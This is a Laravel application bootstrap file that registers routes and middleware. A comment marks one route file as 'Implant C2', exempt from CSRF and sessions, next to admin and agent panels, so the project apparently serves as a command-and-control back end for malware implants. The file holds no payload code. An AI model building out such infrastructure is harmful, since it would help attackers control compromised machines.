<?php

use Illuminate\Foundation\Application;
use Illuminate\Foundation\Configuration\Exceptions;
use Illuminate\Foundation\Configuration\Middleware;
use Illuminate\Support\Facades\Route;

return Application::configure(basePath: dirname(__DIR__))
    ->withRouting(
        web: __DIR__.'/../routes/web.php',
        then: function () {
            // Implant C2: no CSRF / session
            require __DIR__.'/../routes/c2.php';

            // External webhooks (no CSRF)
            require __DIR__.'/../routes/hooks.php';

            // Admin + agent UI: session + CSRF
            Route::middleware('web')->group(base_path('routes/admin.php'));
            Route::middleware('web')->group(base_path('routes/user.php'));
        },
        commands: __DIR__.'/../routes/console.php',
        health: '/up',
    )
    ->withMiddleware(function (Middleware $middleware): void {
        $middleware->alias([
            'admin.super' => \App\Http\Middleware\EnsureSuperAdmin::class,
        ]);

        $middleware->validateCsrfTokens(except: [
            'api/*',
            'link/*',
            'hooks/*',
        ]);

        $middleware->redirectGuestsTo(function () {
            $path = request()->path();
            if (str_starts_with($path, 'user')) {
                return route('user.login');
            }

            return route('admin.login');
        });
        $middleware->redirectUsersTo(function () {
            if (auth('agent')->check()) {
                return route('user.home');
            }

            return route('admin.home');
        });
    })
    ->withExceptions(function (Exceptions $exceptions): void {
        //
    })->create();